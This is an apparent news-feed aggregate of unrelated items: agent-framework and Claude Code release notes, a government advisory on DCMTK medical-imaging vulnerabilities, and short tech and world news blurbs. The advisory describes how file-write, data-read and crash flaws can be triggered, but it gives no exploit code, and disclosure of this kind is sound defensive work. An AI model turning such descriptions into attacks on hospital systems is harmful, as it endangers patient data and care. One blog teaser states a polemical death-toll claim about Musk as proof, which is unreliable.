First-class Projects — per-profile sidebar, coding rail, review pane, agent project tools (project → repo → lane); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (#49037, #54385 — @OutThisLife)
Multi-terminal panel with read-only agent terminals; persist & restore terminal tabs + scrollback across relaunch (#54517, #54585 — @OutThisLife)
PR-style file diffs in chat; in-app spot editor for the file preview pane; inline rich embeds, diagrams & alerts in assistant markdown (#50731, #52772, #52935 — @OutThisLife)

UX & surfaces

Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (#51094, #54907, #55033, #49488 — @OutThisLife, @austinpickett)
Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (#55154, #52086, #52993, #54558 — @OutThisLife)
Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (#54611, #55410, #53991 — @teknium1, @OutThisLife)
Pets — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (#55114, #55400, #52877, #47959, #52303 — @OutThisLife)

Refactor wave (composer / god-file de-entangle)

Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split thread.tsx, sidebar/index.tsx, onboarding overlay, and use-prompt-actions god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (hermes serve) (#55500, #55842, #55451, #55453, #55807, #55504, #54568 — @OutThisLife)
perf: bound tool-result rendering so big /learn runs don't freeze; fast session switching under load (#52273, #52620 — @OutThisLife)

📊 Web Dashboard

Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (client_secret) support in self-hosted OIDC (#54846, #50551, #55344 — @teknium1, @benbarclay)
Catalogue all memory-provider API keys in OPTIONAL_ENV_VARS; list & add arbitrary custom .env keys on the Keys page; expose cron job execution fields; backup import/create/download (#54546, #54552, #53551, #54611 — @benbarclay, @teknium1)
Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (#53227, #53239 — @IAvecilla)

🏗️ Core Agent & Architecture

Delegation & subagents

Background fan-out — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background delegate_task (#49734, #52756 — @teknium1, @OutThisLife)
Track background subagents in the CLI + TUI status bar (#51441, #51485 — @teknium1)

Agent loop, tools & coding context

One-shot LLM helper + llm.oneshot gateway RPC; expose coding-context project facts (project.facts RPC) (#51261, #51259 — @OutThisLife)
web_extract truncate-and-store instead of LLM summarization; concurrent @-reference expansion (#54843, #55207 — @teknium1, @kshitijk4poor)
Friendly human-phrased tool labels for built-in tools; /reasoning full (uncapped thinking); /timestamps + timestamps in /history; /prompt composes in $EDITOR (#55166, #50499, #50506, #50509 — @teknium1)
Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (#52845, #50489 — @teknium1)
Multiple HERMES_WRITE_SAFE_ROOT dirs; opt-in HTTP/WS body capture to an isolated, share-excluded gui_bodies.log (#53292, #49044 — @kshitijk4poor)

Compression & sessions

In-place compaction option (single session id); flip in_place default to True with a guard fix (#49739, #52658 — @teknium1)
Backup includes projects.db and kanban boards in the pre-update snapshot (#52990 — @kshitijk4poor)

Providers & models

Google Vertex AI first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages & modernizes #8427 by @slawt (#56363 — @teknium1, @slawt)
Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (#52647, #52364, #51494, #50492 — @teknium1, @kshitijk4poor)
Honor NOUS_INFERENCE_BASE_URL env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (#52270, #50567 — @benbarclay, @teknium1)

🌐 Gateway, Fleet & Relay

Scale-to-zero & drain

Scale-to-zero idle detection + dormant-quiesce (Phase 0); hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (#52243, #52359, #52831 — @teknium1, @benbarclay)
External drain coordination (safe-shutdown Phase 2); suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (#52937, #54824, #50312, #50131 — @teknium1, @benbarclay, @kshitijk4poor)
Default restart_drain_timeout to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (#54066, #55397 — @teknium1)

Relay (Phase 5 / 6)

Wake primitive (gateway side); going-idle / buffered-flip primitive; passthrough_forward over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (#51595, #51572, #50702, #52830, #50772, #51248 — @benbarclay)
Authorize relay-delivered events by delivery, not source.platform; adopt scope_id wire key; purge platform-specific scope terminology (#52306, #55289, #56016 — @benbarclay)

Gateway core & rendering

Typed send-error classification (SendResult.error_kind); per-platform typing_indicator toggle; per-category context breakdown in /usage (#50342, #55394, #55204 — @teknium1)
API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (#50007, #56129 — @teknium1)

📱 Messaging Platforms

Cron continuations — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (#52250, #56254, #51696 — @teknium1)
Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (#51716, #52088, #54121 — @teknium1, @helix4u)
Slack: opt-in Block Kit rendering for agent messages; --no-assistant flag for manifest generation (#56102, #51487 — @teknium1)
Discord: render reasoning as -# subtext via display.reasoning_style (#51168 — @teknium1)
Native WhatsApp media delivery via the Baileys bridge; Teams native send_video/send_voice/send_document; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (#53598, #49308, #53451, #56230 — @teknium1)
Signal: AAC voice-note remux + shared markdown formatting (#49530 — @kshitijk4poor)
Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (#49408 — @teknium1)

🔧 Tool System, Skills & MCP

Blank Slate setup mode — minimal agent, opt in to everything (#36733 — @teknium1)
MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog & UX carried from v0.17.0
Skills: /learn distillation (see Self-Improvement); cloudflare-temporary-deploy optional skill; creative-ideation v2.1.0 method library (#50849, #42402 — @teknium1, @SHL0MS)
Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (#50349, #52848, #53973 — @teknium1)
Plugins: ctx.profile_name for session-agnostic profile access (#50346 — @teknium1)
LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (#55930, #15624 — @teknium1, @kartik-mem0)

⚡ Performance

Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml CSafeLoader (#54448, #54486 — @teknium1)
State: merge FTS5 segments + handoff_state index to curb write-lock contention; single-pass list_profiles alias map + skill-count cache + event-loop offload (#54752, #54770 — @kshitijk4poor, @teknium1)

🔒 Security & Reliability

Harden MCP-config persistence attack surface; block cron base_url overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (#50476, #56196, #54166 — @teknium1, @kshitijk4poor)
Redact Slack App-Level (xapp-) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after browser_back navigation; scope /resume and /sessions to caller origin (IDOR); aiohttp 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (#56227, #52349, #56526, #56378, #56237 — @teknium1, @claudlos, @kshitijk4poor)
Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on BaseException + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (#51051, #50062, #50016, #50117, #56240 — @kshitijk4poor, @teknium1)
Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (#52340, #50398, #52239 — @helix4u, @teknium1)

🔁 Reverts (in-window, for the record)

cron job storage returned to per-profile (reverts #32117 + #50993); don't clone auth.json (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; prompt_caching.enabled toggle backed out for re-evaluation (#51116, #51732, #53853, #56126 — @teknium1)

👥 Contributors

381 people contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.

Core

@teknium1 — release lead; MoA first-class, verification/goals, /learn, background review, security round, providers, the P0/P1 clean-sweep
@OutThisLife — desktop app (projects, memory graph, /journey, multi-terminal, composer refactor wave, pets, verification UX)

Top community contributors

@kshitijk4poor — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures
@benbarclay — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening
@ethernet8023 — CI/docker (unified jobs, faster builds, timings report)
@helix4u — Windows hardening (console flashes, npm shim, gateway restarts)

All contributors

@0xbyt4, @0xDevNinja, @0xsir0000, @1RB, @595650661, @aaronlab, @abchiaravalle, @adammatski1972, @AetherAgents,
@Afnath-max, @agt-user, @ahmadashfq, @AhmetArif0, @AIalliAI, @aieng-abdullah, @ailang323, @ailthrim, @aj-nt,
@alelpoan, @alloevil, @amathxbt, @ambition0802, @anderskev, @andressommerhoff, @angelos, @annguyenNous,
@Antimatter543, @arminanton, @arthurzhang, @asimons81, @austinpickett, @baolingao, @Bartok9, @basilalshukaili,
@BBCrypto-web, @bbopen, @Beandon13, @beardthelion, @benbarclay, @benbenlijie, @binhnt92, @bitcryptic-gw,
@Blaryxoff, @bogerman1, @bradhallett, @brett539, @briandevans, @buihongduc132, @bykim0119, @catapreta,
@chaithanyak42, @charleneleong-ai, @CharlieKerfoot, @chazmaniandinkle, @chrispersico, @Christopher-Schulze,
@chriswesley4, @claudlos, @clovericbot, @cmcejas, @codexGW, @Cossackx, @counterposition, @coygeek, @CRWuTJ,
@cyb0rgk1tty, @cyb3rwr3n, @cypctlinux, @cypres0099, @dalenguyen, @Danamove, @DanAsBjorn, @DataAdvisory,
@davidgut1982, @DavidMetcalfe, @davidvv, @de1tydev, @denisqq, @devorun, @devsart95, @DhivinX, @DiamondEyesFox,
@difujia, @Disaster-Terminator, @djimit, @djstunami, @dodo-reach, @donovan-yohan, @Dr1985, @DrZM007, @Dusk1e,
@egilewski, @ehz0ah, @Eji4h, @EloquentBrush0x, @Elshayib, @emozilla, @entropy-0x, @erosika, @EtherAura,
@etherman-os, @ethernet8023, @f-trycua, @fayenix, @fesalfayed, @firefly, @flamiinngo, @flobo3, @francescomucio,
@franksong2702, @friendshipisover, @fsaad1984, @fyzanshaik, @GauravPatil2515, @gdeyoung, @georgex8001,
@GodsBoy, @graphanov, @Gromykoss, @gustavosmendes, @Gutslabs, @H2KFORGIVEN, @haileymarshall, @hakanpak,
@happy5318, @haran2001, @harjothkhara, @heathley, @hehehe0803, @helix4u, @herbalizer404, @HexLab98,
@HiddenPuppy, @Hinotoi-agent, @HODLCLONE, @houko, @huangsen365, @huangxudong663-sys, @huangxun375-stack,
@HwangJohn, @iaji, @iamlukethedev, @IamSanchoPanza, @IAvecilla, @Icather, @iizotov, @indigokarasu,
@infinitycrew39, @ipriyaaanshu, @isair, @islam666, @itenev, @itsflownium, @izumi0uu, @Jaaneek, @JabberELF,
@jackjin1997, @jackroofan, @janrenz, @jasnoorgill, @jasonQin6, @jcjc81, @jearnest11, @jeeves-assistant,
@Jeffgithub0029, @jeffrobodie-glitch, @JezzaHehn, @jimmyjohansson84, @jmmaloney4, @jnibarger01, @JoaoMarcos44,
@jplew, @Junass1, @justemu, @justin-cyhuang, @JustinOhms, @jvradahellys24-art, @Kailigithub, @kaishi00,
@kangsoo-bit, @kartik-mem0, @keiravoss94, @kenyonxu, @kernel-t1, @Kewe63, @KeyArgo, @KiruyaMomochi, @kn8-codes,
@Kolektori, @konsisumer, @kshitijk4poor, @kyssta-exe, @Kyzcreig, @Lazymonter, @LehaoLin, @LeonSGP43, @lEWFkRAD,
@libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,
@m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,
@max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,
@mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,
@neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,
@OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, @OutThisLife, @p-andhika, @panghuer023, @Paperclip,
@peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,
@PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,
@randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,
@rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,
@SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,
@sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, @SHL0MS, @SidUParis,
@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, @slawt, @soynchux, @spiky02plateau, @spjoes,
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ

Also: Lucas Nicolas.

Full Changelog: v2026.6.19...v2026.7.1

Intel has killed off AMX-TF32 support before it even shipped in Diamond Rapids

Wed, 01 Jul 2026 03:39:02 +0200

submitted by /u/somerandomxander
[link] [comments]

OFFIS DCMTK Toolkit

Tue, 30 Jun 2026 18:24:28 +0200

View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an attacker to write files, access unauthorized information, exhaust memory, or crash affected DCMTK client or server processes.

The following versions of OFFIS DCMTK Toolkit are affected:

DCMTK <=3.7.0 (CVE-2026-50003, CVE-2026-50254, CVE-2026-35505, CVE-2026-52868, CVE-2026-44628)

CVSS	Vendor	Equipment	Vulnerabilities
v3 9.8	OFFIS	OFFIS DCMTK Toolkit	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Missing Release of Memory after Effective Lifetime, Access of Resource Using Incompatible Type ('Type Confusion')

Background

Critical Infrastructure Sectors: Healthcare and Public Health
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-50003

A malicious or compromised server can make a DCMTK client using bit-preserving C-GET storage mode write files outside the chosen output directory, using both relative (../) paths and absolute paths.

View CVE Details

Affected Products

OFFIS DCMTK Toolkit

Vendor:
OFFIS

Product Version:
OFFIS DCMTK: <=3.7.0

Product Status:
known_affected

Remediations

Mitigation
The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:

Vendor fix
https://github.com/DCMTK/dcmtk/releases/tag/latest.
https://github.com/DCMTK/dcmtk/releases/tag/latest

Mitigation
Users are recommended to download the latest GitHub release once it becomes available.

Relevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0	9.3	CRITICAL	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-50254

An unauthenticated remote attacker can repeatedly send a single crafted connection request to leak memory. Against storescp in its default single-process mode, memory grows quickly and the service is eventually killed, after which it stops accepting connections until an operator restarts it.

View CVE Details

Affected Products

OFFIS DCMTK Toolkit

Vendor:
OFFIS

Product Version:
OFFIS DCMTK: <=3.7.0

Product Status:
known_affected

Remediations

Mitigation
The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:

Vendor fix
https://github.com/DCMTK/dcmtk/releases/tag/latest.
https://github.com/DCMTK/dcmtk/releases/tag/latest

Mitigation
Users are recommended to download the latest GitHub release once it becomes available.

Relevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-35505

An unauthenticated remote attacker can repeatedly send crafted connection requests to leak memory. In single-process deployments the memory grows until the service is killed and the port stops responding until restart.

View CVE Details

Affected Products

OFFIS DCMTK Toolkit

Vendor:
OFFIS

Product Version:
OFFIS DCMTK: <=3.7.0

Product Status:
known_affected

Remediations

Mitigation
The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:

Vendor fix
https://github.com/DCMTK/dcmtk/releases/tag/latest.
https://github.com/DCMTK/dcmtk/releases/tag/latest

Mitigation
Users are recommended to download the latest GitHub release once it becomes available.

Relevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-52868

An unauthenticated attacker can read worklist records from a directory outside the intended per-AE worklist storage area. In a multi-area deployment, this can cross departmental or clinic data separation.

View CVE Details

Affected Products

OFFIS DCMTK Toolkit

Vendor:
OFFIS

Product Version:
OFFIS DCMTK: <=3.7.0

Product Status:
known_affected

Remediations

Mitigation
The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:

Vendor fix
https://github.com/DCMTK/dcmtk/releases/tag/latest.
https://github.com/DCMTK/dcmtk/releases/tag/latest

Mitigation
Users are recommended to download the latest GitHub release once it becomes available.

Relevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	8.2	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
4.0	8.8	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVE-2026-44628

An unauthenticated attacker can crash the worklist server with a single crafted query when the server has a valid Called AE Title / storage directory, the expected lockfile, and at least one matching worklist record.

View CVE Details

Affected Products

OFFIS DCMTK Toolkit

Vendor:
OFFIS

Product Version:
OFFIS DCMTK: <=3.7.0

Product Status:
known_affected

Remediations

Mitigation
The maintainer was notified of these vulnerabilities and has provided a fix. The fix is included in the latest commits and can be obtained in the following snapshot:

Vendor fix
https://github.com/DCMTK/dcmtk/releases/tag/latest.
https://github.com/DCMTK/dcmtk/releases/tag/latest

Mitigation
Users are recommended to download the latest GitHub release once it becomes available.

Relevant CWE: CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Acknowledgments

Abhinav Agarwal reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-06-30

Date	Revision	Summary
2026-06-30	1	Initial Publication

Legal Notice and Terms of Use

v2.1.196

Tue, 30 Jun 2026 01:46:34 +0200

What's changed

Added support for organization default models — admins set it in the org console; it shows as "Org default" (or "Role default") in /model when you haven't picked one yourself
Added readable default names for sessions at start, making them easier to identify and message
Added clickable file attachments in chat — Cmd/Ctrl-click reveals the file in Finder/Explorer
Security: claude mcp list/get no longer spawn .mcp.json servers that a repo self-approved via a committed .claude/settings.json; untrusted workspaces show ⏸ Pending approval
Fixed waking a background job permanently deleting its conversation and re-running the original prompt when the transcript probe misread a real transcript; the file is now set aside, never deleted
Fixed the rate-limit warning flickering off and rate-limit telemetry being over-counted when multiple parallel requests were in flight at the moment a usage limit was hit
Fixed duplicate recap lines after a background session's turn: a schema-rejected StructuredOutput attempt no longer renders alongside its retry
Fixed PowerShell git diff/git grep, egrep/fgrep, and quoted search patterns containing | being reported as failures when they exit 1, matching Bash behavior
Fixed multiple claude agents side panel issues: keyboard focus getting stuck when opening an agent, background jobs losing their subagent types on every open, and sessions showing incorrect status while actively running
Fixed claude agents --dangerously-skip-permissions silently falling back to auto mode instead of showing the bypass disclaimer and applying bypass mode to spawned agents
Fixed mid-turn crash recovery for Remote sessions — sessions interrupted by a server restart now auto-resume on the next worker
Fixed sessions moved with /cd reappearing in the old directory's resume list after a non-graceful exit when the old path contained special characters
Fixed claude plugin validate skipping local plugins whose source is "." and stopping after the first error class
Fixed Esc Esc at an idle prompt not opening the rewind menu (regression); use Ctrl+C or Ctrl+X Ctrl+K to stop background agents
Fixed MCP OAuth requesting the authorization server's full scopes_supported catalog when no scope is specified, causing invalid_scope failures on GitLab self-hosted and other enterprise IdPs
Fixed /context showing 0 tokens for all tool groups on Bedrock
Fixed /deep-research misreporting verifier failures as "all claims refuted" instead of unverified
Fixed plugin dependency version pins not being honored when the marketplace was added as a local folder path backed by a git repo
Fixed claude agents session status: completed rows no longer flip between "Done" and "Needs your input", stalled agents are now labeled "Needs attention", and results that mention a PR show a clickable link
Fixed voice dictation swallowing spaces and spuriously starting a recording during very fast typing when voice mode is enabled
Improved background session reliability: long-running commands and workflows now survive the session's process being stopped, restarted, or updated — including on Windows, where background shells are handed off instead of being killed
Improved background agents: workers killed by a daemon restart are now automatically resumed from where they left off the next time the agents view opens
Improved /code-review workflow: merged five cleanup finders into one, cutting token usage by roughly 25%
Reduced per-frame rendering work in the terminal UI by skipping no-op subtree walks during streaming
The streaming idle watchdog is now on by default for all providers — it aborts and retries when a response stream produces no events for 5 minutes. Set CLAUDE_ENABLE_STREAM_WATCHDOG=0 to disable.
Remote Control is now disabled when ANTHROPIC_BASE_URL points at a non-Anthropic host, matching the existing behavior under CLAUDE_CODE_USE_BEDROCK/_VERTEX/_FOUNDRY
Changed opening the agents view from a foreground session to require a single ← press instead of two, matching the behavior in background sessions

„House of the Dragon“ Staffel 3 ist da: Wann kommt Folge 3 auf HBO Max und WOW?

Mon, 29 Jun 2026 09:48:24 +0200

Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. HBO hat nicht nur die erste Folge veröffentlicht, sondern mit Trailern und offiziellen Bildern bereits angedeutet, wie brutal der Konflikt zwischen Team Schwarz und Team Grün eskalieren wird.

Family Sues Tesla Over Fatal Texas Crash

Mon, 29 Jun 2026 08:39:17 +0200

Family of 76-year-old grandmother killed in crash sues Tesla over alleged negligence for selling ‘defective’ driver-assistance tech This article has been indexed from Silicon UK Read the original article: Family Sues Tesla Over Fatal Texas Crash

The post Family Sues Tesla Over Fatal Texas Crash appeared first on IT Security News.

Apple Smart Ring Rumors Are Back Thanks To Oura Ring Success

Fri, 26 Jun 2026 22:24:23 +0200

A popular rumor about a brand new gadget from Apple is back in the spotlight. For years, tech fans heard whispers about a smart ring, but the chatter faded away when reports claimed the company dropped the idea. Now, a known tipster says the device is actually in development, sparking fresh excitement for anyone who wants a tiny wearable to pair with their iPhone without a bright screen distracting them. The brand wants a piece of the growing smart ring market A leaker named Kosutami recently posted on X that an iRing project is currently in the works. While the tipster did not share specific details about features or a launch date, the leak noted the gadget is meant to compete directly with popular options like the Oura Ring and the Galaxy Ring from Samsung. The Oura Ring recently launched its fifth version, proving that plenty of people want to track their health without wearing a bulky device. These rings sit quietly on your finger and collect data like your heart rate, sleep patterns, and nighttime breathing. This growing demand seems to have caught the attention of the tech giant. In the past, experts believed the company killed its ring project because it did not want to hurt sales of the Apple Watch. Many buyers might choose a cheaper and simpler ring instead of upgrading a smartwatch every few years. However, other brands have proven that people are willing to own both types of wearables. You can wear a smartwatch during the day for notifications and switch to a comfortable ring at night to monitor your sleep. Even though this leak gives fans hope, it is important to remember that companies test out ideas all the time. Just because a smart ring is in development does not guarantee it will hit store shelves anytime soon. Still, if the current market trends continue, a screenless health tracker from the brand makes a lot of sense for everyday buyers.

Stalin, Hitler or Musk: Who Killed More?

Fri, 26 Jun 2026 20:09:22 +0200

Some historians were sitting around a table asking “who killed more people, Stalin or Elon Musk”. This has been a topic ever since “DOGE” announced their campaign to destroy USAID as Musk’s revenge for ending his future spot in apartheid. The consensus was that Musk killed more and, to be sure, here’s the proof: Rank … Continue reading →

Apple will provide aid to victims of devastating back-to-back earthquakes in Venezuela

Fri, 26 Jun 2026 18:10:06 +0200

Apple CEO Tim Cook has said the company will donate to relief efforts after a pair of earthquakes ravaged northern Venezuela.

Image credit: AP Photo/Javier Campos

On Wednesday evening, a pair of earthquakes, known as a doublet, struck Venezuela's northern coast. The first was a 7.2 magnitude quake, followed by a magnitude 7.5 quake less than one minute later, according to the Associated Press.

The earthquakes have left thousands of people injured and have killed at least 589 people at the time of publication. As expected, Cook took to X to announce that the company would be donating to relief efforts on the ground.

Continue Reading on AppleInsider | Discuss on our Forums

Apple pledges relief funds after back-to-back Venezuela earthquakes

Fri, 26 Jun 2026 18:09:59 +0200

Apple CEO Tim Cook said Friday Apple pledges funds for Venezuela earthquake relief, after devastating temblors there killed hundreds.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Early Edition: June 26, 2026

Fri, 26 Jun 2026 14:08:09 +0200

Signup to receive the Early Edition in your inbox here. A curated guide to major news and developments over the weekend. Here’s today’s news: VENEZUELA QUAKE – CASUALTIES At least 235 people were killed and 4,300 injured after two powerful earthquakes struck Venezuela Wednesday evening, officials said Thursday. The death toll is expected to rise as […]

The post Early Edition: June 26, 2026 appeared first on Just Security.

Early Edition: June 25, 2026

Thu, 25 Jun 2026 14:07:58 +0200

VENEZUELA EARTHQUAKES Two back-to-back earthquakes in Venezuela have killed at least 164 people and injured 700, interim President Delcy Rodríguez said, as rescuers searched collapsed buildings in Caracas and worst-hit La Guaira state. Vivian Sequera and Mayela Armas report for Reuters. The U.S. Geological Survey said its predictive model pointed to deaths likely in the […]

The post Early Edition: June 25, 2026 appeared first on Just Security.

US opens second federal investigation of deadly Tesla crash into Texas home

Thu, 25 Jun 2026 09:17:59 +0200

